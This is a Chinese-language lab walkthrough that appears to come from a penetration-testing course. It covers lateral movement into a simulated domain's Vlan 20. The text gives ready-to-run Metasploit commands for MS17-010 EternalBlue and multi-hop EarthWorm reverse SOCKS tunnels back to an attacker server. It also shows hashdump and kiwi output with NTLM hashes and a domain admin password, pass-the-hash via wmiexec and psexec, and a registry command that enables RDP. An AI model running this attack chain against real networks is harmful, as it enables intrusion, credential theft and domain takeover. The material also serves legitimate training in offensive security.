跳转至

深入内网

内容简介

本小节主要讲解我们如何继续深入内网,拿下 Vlan 20 网段的机器,此网段就是 DC 域控主机所在的网段,所以拿下这个网段的意义还是比较大的,虽然可以直接使用 CVE 漏洞来置空域主机下的本地用户密码,但是这是下一节要讲解的知识点,本小节只做 MS 17-010 的经典演示。

权限概览

先看看当前拿到的权限情况,在整个内网中目前我们已经打到了 Vlan 10 区域,且已经拿到了 3 台主机的权限,接下来准备逐个拿下剩下 4 台主机的权限,本小节主要是针对 Vlan 20 网段的攻击,拿下 Windows 7 域下面的机器。当然我们是不知道 Vlan 20 的网段情况的,所以需要来模拟黑盒来进行测试。

image-20231211095630740

现在理一下主机攻陷情况和网络的流向,让大家可以更好的理解。

  • CentOS 7 宝塔服务器属于 DMZ 服务器,可以出网且搭建的 Web 站点有漏洞,被我们轻易 getshell 且 revere 反向 shell 到我们 Kali Linux 的 MSF,添加路由且开启 Socks 代理后,MSF 以及走代理的机器都可以畅通无阻的访问 DMZ 下的所有机器
  • 在 DMZ 区还存在泛微 OA 的 2016 服务器,因为也在 DMZ 区下,我们最终通过 SQL 注入拿到 OA 的权限,然后在 OA 里面发现了网络架构图,以及 OA 服务器的密码信息,直接登录拿下 OA 系统的主机权限。
  • SQL Server 通过把 1433 端口映射到 DMZ 区,因为 OA 存在注入所以也顺便拿到了 SQL Server 的 SA 密码,SQL Server 服务器本身不能被 DMZ 区直接访问,但是 SQL Server 服务器是可以访问 DMZ 区的,所以我们的 Kali 无法直接去打 Vlan 10 网段下的 SQL Server
  • 通过 SQL Server 的 sa 密码,然后走 clr 提权上线后,通过 frp 将 Vlan 10 下 SQL Server 端口转发到 DMZ 区下的泛微 OA 服务器,然后使用 Kali 的 MSF 直接走 bind 正向 shell,这样就相当于间接的连 Vlan 10 下的 SQL Server 了
  • 拿下 SQL Server 后添加 Vlan 10 的路由,发现 Vlan 10 和 Vlan 20 网段也是通的,顺便再添加 Vlan 20 网段的路由,此时 MSF 是可以畅通无阻的访问 DMZ、Vlan 10 和 Vlan 20 网段下的资产的
  • 因为直接拿 Vlan 20 下的 DC 域控有点简单,我们本小节产生来拿下同网段的 Windows 7 (192.168.20.10)

漏洞探测

在企业内网当中,总会有漏网之鱼存在 MS 17-010 漏洞的,一般因为某些公司的业务特性原因,内网当中存在大量的 Windows 7、Windows Server 2008 机器,因为打 MS 17-010 补丁可能存在蓝屏的现象,所以就导致了我们可以钻这个空子,在内网中来批量测试扫描一下 MS 17-010 漏洞是否存在:

msf6 > auxiliary/scanner/smb/smb_ms17_010
msf6 > set rhosts 192.168.20.0/24
msf6 > set threads 10
msf6 > run

幸运的是,Vlan 20(192.168.20.0/24)网段果然存在一台存在 MS 17-010 漏洞的机器:

image-20231207233735302

正向攻击

话不多说,我们直接来对 192.168.20.10 这台 Windows 7 的主机进行攻击吧:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp # (1)!
msf6 > set rhost 192.168.20.10
  1. 因为我们 MSF 打过的机器可以访问这台机器,所以借助之前的机器创建路由即可直接对其攻击,所以这里选择 bind 正向 shell 理论上也是可以成功的

很不幸,虽然漏洞可以正常检测,但是由于我们此时挂了多层路由代理,这种情况下直接打 MS 17-010 失败了:

image-20231211140310614 所以我们得想办法尝试其他方法让我们的 MSF 少走点路由,减少超时来对内网的 Windows 7 进行攻击。

尝试代理

既然默认的路由没有成功的话,我们尝试使用 socks 隧道来直接连接近 Vlan 内网区域,让 MSF 少走一点攻击路径,提高 Bind 正向攻击的成功率:

级联代理

ew

简介

官方主页:http://rootkiter.com/EarthWorm/

Github 项目地址:https://github.com/idlefire/ew

源码:https://github.com/anhilo/xiaogongju

参数

参数 说明
-l 1080 监听本地的 1080 端口
-s ssocksd 本地开启 Socks5 服务
-s rcsocks 作为反向被连接的 Socks5 客户端
-s rssocks 反向连接并开启 Socks5 服务
-s lcx_tran 作为端口映射服务功能
-e 18888 使用 18888 作为通信传输握手端口
-lcx_listen 接收的请求重定向到新的端口监听
-lcx_slave 奴隶的直译,将本地的端口转发给其他主机的端口

正向

image-20231217141958796

./ew -s ssocksd -l 1080

反向

image-20231217142409664

# 攻击者公网服务器
./ew -s rcsocks -l 1080 -e 8888

# 受害者往公网服务器连接
./ew -s rssocks -d 1.1.1.1 -e 8888    

二级

image-20231217144421906

# 可以访问目标内网的主机,本地开启 Socks5 服务,监听的端口为 9999
./ew -s ssocksd -l 9999

# 存在公网的主机,但是无法直接访问内网,监听本地的 1080 端口并转发到目标内网主机 2.2.2.3 的 9999 端口
./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999

复杂

image-20231217150512344

# 攻击者公网服务器
./ew -s rcsocks -l 1080 -e 18888

# Vlan 内网主机往公网服务器连接(失败 网络不通)
./ew -s rssocks -d 10.100.1.226 -e 18888    

# DMZ 下的主机将 16666 端口发来的请求放在 17777 端口监听
./ew -lcx_listen -l 17777 -e 16666

# Vlan 内网主机往 DMZ 主机握手连接 等待 Socks 客户端接入
./ew -s rssocks -d 172.18.100.101 -e 16666

# DMZ 主机将本地 17777 端口和公网的 18888 端口连上
./ew -lcx_slave -d 10.100.1.226 -e 18888 -f 127.0.0.1 -g 17777
image-20231213225801703

# 攻击者公网服务器
./ew -s rcsocks -l 1080 -e 18888

# Vlan 内网主机往公网服务器连接(失败 网络不通)
./ew -s rssocks -d 10.100.1.226 -e 18888    

# Vlan 内网主机往 DMZ 主机握手连接 等待 Socks 客户端接入
./ew -s rssocks -d 172.18.100.101 -e 16666

# DMZ 下的主机将 16666 端口发来的请求放在 17777 端口监听
./ew -s lcx_tran -l 16666 -f 10.100.1.226 -g 18888

实战

  • Kali MSF
./ew_for_linux64 -s rcsocks -l 1086 -e 18888
  • DMZ OA
ew_for_Win.exe -s lcx_tran -l 16666 -f 10.100.1.226 -g 18888
  • Vlan 10 SQL Server
ew_for_Win.exe -s rssocks -d 172.18.100.101 -e 16666

测试一下是否成功代理到内网:

image-20231217160637759

代理攻击

MSF 挂代理

首先启动 MSF 挂一下我们的 Socks5 代理:

# 让 MSF 的流量走 socks5:127.0.0.1:1086 隧道
msf6 > setg Proxies socks5:127.0.0.1:1086

# 查看 MSF 全局代理参数
msf6 > setg

image-20231217163559656

直接攻击

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 192.168.20.10
msf6 > set lport 5555
msf6 > run

445 的请求成功的了,但是 5555 端口没有成功上线:

image-20231217165342444

猜测目标系统开了防火墙:

image-20231217165225107

奇技淫巧

一般内网域防火墙策略大多数是放行 RDP 等常见服务端口的,所以我们这里手动来使用 3389 端口来作为 Bind shell 的端口试试看:

msf6 > set lport 3389
msf6 > run

image-20231217165534399

再次来攻击验证测试一下,成功上线:

image-20231217170939973

信息收集

但是不是很稳定,很容易掉线,所以我们需要火速的 Hashdump 抓取用户 hash:

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
pig:1000:aad3b435b51404eeaad3b435b51404ee:ccdc1b01fe1392552ee6e2f49bcb3023:::

image-20231217171658535

手速足够快的话,可以直接上 kiwi 插件来进行其更全的 Hash 读取:

meterpreter > load kiwi
meterpreter > creds_all

运气很棒,这里直接拿到域管的账号和密码了:

Username       Domain      LM                                NTLM                              SHA1
--------       ------      --                                ----                              ----
Administrator  PIGTEACHER  e90127c07127ed1266ca3ba53c674cc1  8a282f931f4d94ef1ce71b356310ff42  632d0b55807e70faf53a5cfd30e01d55a201653d

wdigest credentials
===================

Username       Domain      Password
--------       ------      --------
(null)         (null)      (null)
Administrator  PIGTEACHER  admin!@#$%12

image-20231217172019910

哈希传递

有域管用户的话可以尝试直接传递域管 hash 来登录域成员机器:

135端 口 wmi 哈希传递

wmiexec.exe -hashes e90127c07127ed1266ca3ba53c674cc1:8a282f931f4d94ef1ce71b356310ff42 pigteacher/administrator@192.168.20.10

445 端口 smb 哈希传递

psexec.exe -hashes e90127c07127ed1266ca3ba53c674cc1:8a282f931f4d94ef1ce71b356310ff42 pigteacher/administrator@192.168.20.10

image-20231217181529288

开启 3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20231217181721360

拿下 Windows 7

image-20231217182412776